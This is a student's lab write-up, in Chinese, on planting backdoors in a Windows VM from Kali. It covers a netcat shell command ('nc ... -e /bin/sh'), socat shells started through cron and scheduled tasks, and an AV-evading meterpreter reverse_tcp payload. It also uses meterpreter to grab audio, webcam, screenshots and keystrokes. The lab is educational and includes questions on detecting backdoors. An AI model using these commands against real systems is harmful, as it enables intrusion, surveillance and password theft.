Exp2 后门原理与实践 20165110
Exp2 后门原理与实践一、实验要求1.使用netcat获取主机操作Shell,cron启动 二、实验内容1.任务一(使用netcat获取主机操作Shell,cron启动 ) (使用ipconfig查看IP:10.1.1.171) (使用ifconfig查看IP:192.168.168.128) 3.在Windows的命令行中输入 4.在kali端输入: nc 10.1.1.171 5110 -e /bin/sh (成功获取Windows的权限) 注:可以通过相似的操作通过Windows来kali的权限 5.在kali端打开 意味着每小时的第32分钟时启动一次 2.任务二(使用socat获取主机操作Shell,任务计划启动) 此处的攻击机为kali,受害者为Windows 1.首先通过搜索找到计算机管理,点击任务管理计划->创建基 该命令是用与把cmd.exe文件绑定到端口5110,同时把cmd.exe的stderr重定向到stdout上。 2.创建任务完成后,按Windows+L快捷键快速锁定计算机,再次打开时,唔没出现哎,唔然后我打开任务管理器发现定位文件夹的socat.exe消失不见了,然后我又重新复制了一个过来,再次重复上面的动作,到时间就弹出来了一个黑色的框,表示运行成功。 3.在Kali端输入指令 (成功获得cmd shell的截图) 注:在排查过程中,我以为是端口被占用的问题,所以将此处的端口该成了5111 3.任务三(使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell) Kali(攻击机),Windows(受害者) 1.生成后门 指令参数说明: -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode. -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。 -e 使用的编码器,用于对shellcode变形,为了免杀。 -i 编码器的迭代次数。如上即使用该编码器编码5次。 -b badchar是payload中需要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口 -f 生成文件的类型 2.将生成的文件通过nc指令传输给Windows。 3.在Kali端启动 4。输入指令 即可成功获得Windows的shell 该任务中出现的错误: 1.一开始我把LHOST的IP地址写成了Windows的,然后生成一直到最后的exploit之前都没有发现这个错误,直到exploit指令后发现运行不起来,这才往回回溯到了这里来,发现了LHOST的IP有误。 2.通过Windows端始终打不开传输过去的后门文件,始终显示版本信息不符,传输多次还是这个情况,我都没招了。后来发现这个传输过来的文件的大小有问题,每次传输过来的文件的大小居然为0kb但是本身生成的后门程序其实有七十多k说明传输过程中,文件有所损坏,唔,我百思不得其解,最后没有办法,就通过共享文件夹的方式把后门文件传输到了Windows系统中了。 4.任务四(使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权) 此处Kali是攻击机,Windows是受害者 1.在上一个任务的基础上继续在msfconsole中输入指令 (1)获取目标主机音频 (2)获取目标主机的摄像头 (结果截图) (3)获取目标主机的截屏 (结果截图) (4)对目标主机尝试提权 5.任务五(加分项)对这个任务我进行了艰苦卓绝的努力,首先得感谢各位大佬们的帮助 然后执行该文件 sudo ./pwn2. 然后激动人心的时刻到了 --------------------------------它报错了------------------------------------ 我尝试了重启、重新生成、重新配置等多种尝试都没能将这个问题解决==,于是乎,该实验宣告失败。。。。。。(望各位牛皮的大佬们有遇到这个问题的告诉我一下怎么解决。。。) 三、实验过程中出现的问题1.在进行任务一的时候,通过crontab指令加入的自启动并没有真正开始自启动,应该是因为时间差的问题导致的,最后我是手动双击启动的。 2.在进行任务二过程中kali端输入完指令后总是报错,后来经过排查发现是因为指令格式有误“-”与tcp之间应该有一个空格 3.在进行任务三过程中,出现了两个问题: (2)通过Windows端始终打不开传输过去的后门文件,始终显示版本信息不符,传输多次还是这个情况,我都没招了。后来发现这个传输过来的文件的大小有问题,每次传输过来的文件的大小居然为0kb但是本身生成的后门程序其实有七十多k说明传输过程中,文件有所损坏,唔,我百思不得其解,最后没有办法,就通过共享文件夹的方式把后门文件传输到了Windows系统中了。 四、基础问题回答1.例举你能想到的一个后门进入到你系统中的可能方式? 答:(1)记得之前上信安技术的时候老师曾举过一个例子,说之前有一个爆发的病毒式将后门程序是绑定在一张小龙女图片上的,互联网的用户只要点击查看这张图片就会自动下载该图片后的后门程序,然后安装进入用户的电脑获得权限 2.例举你知道的后门如何启动起来(win及linux)的方式? 答:Windows通过修改注册表信息,创建自启动任务,或者被动触发点击含有后门程序的连接、软件即可启动 3.Meterpreter有哪些给你映像深刻的功能? 答:我觉得最可怕的就是可以获取击键内容,比方说用户输入的密码,而这会导致为保护密码所设置的所有加密算法和保密协议都完全失效,从源头开始密码就会被泄露,直接明态显示在了攻击机的界面上。 4.如何发现自己有系统有没有被安装后门? 答:我在创建基本任务的时候,发现了许多已经在运行的任务,这些任务有的是系统自带的有的是一些软件自带的,可以通过任务表来查看自己的系统中有没有安装不明后门任务;一般的杀毒软件都是可以检查出打部分的后门程序的所以要开启杀毒软件的实时防护功能,即使更新版本。 附加:使用msf生成其他模式的后门程序(链接) (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
- windows向ubuntu传送文件(不用SAMBA)
- windows.h中的WINVER和_WIN32_WINNT警卫怎么了?
- windows – JScript:如何运行外部命令并获得输出?
- windows-server-2008 – 使用perfmon监控服务
- 构建你自己的论坛,基于windows服务器的xampp+discuz论坛
- windows-installer – 如何根据需要安装和/或重新安装msiex
- 在Windows 7上启用MySQL 5查询日志
- windows – 将64位和32位版本的应用程序转换为相同的二进制
- 从Windows机器提交时,Mapreduce作业失败
- Windows – IIS自签名证书故障 – “参数不正确”
- 在window下安装Redis数据库,并用python链接Redi
- windows – x86 LargeAddressAware兼容性的单元测
- 是否可以为Windows为管理员用户创建的标准用户令
- windows-server-2008 – 在EC2上部署网站数据库有
- 为什么有条件地包含direct.h或sys / stat.h基于_
- 在Windows Mobile设备上编写JavaScript / Ruby应
- winapi – Windows的FindFirstFile()函数中的错误
- win10家庭版升级专业版的一些经验方法(超简单,
- 如果新的dll在bin中丢失,请重新启动IIS?
- 如何使用Cython创建一个stand dll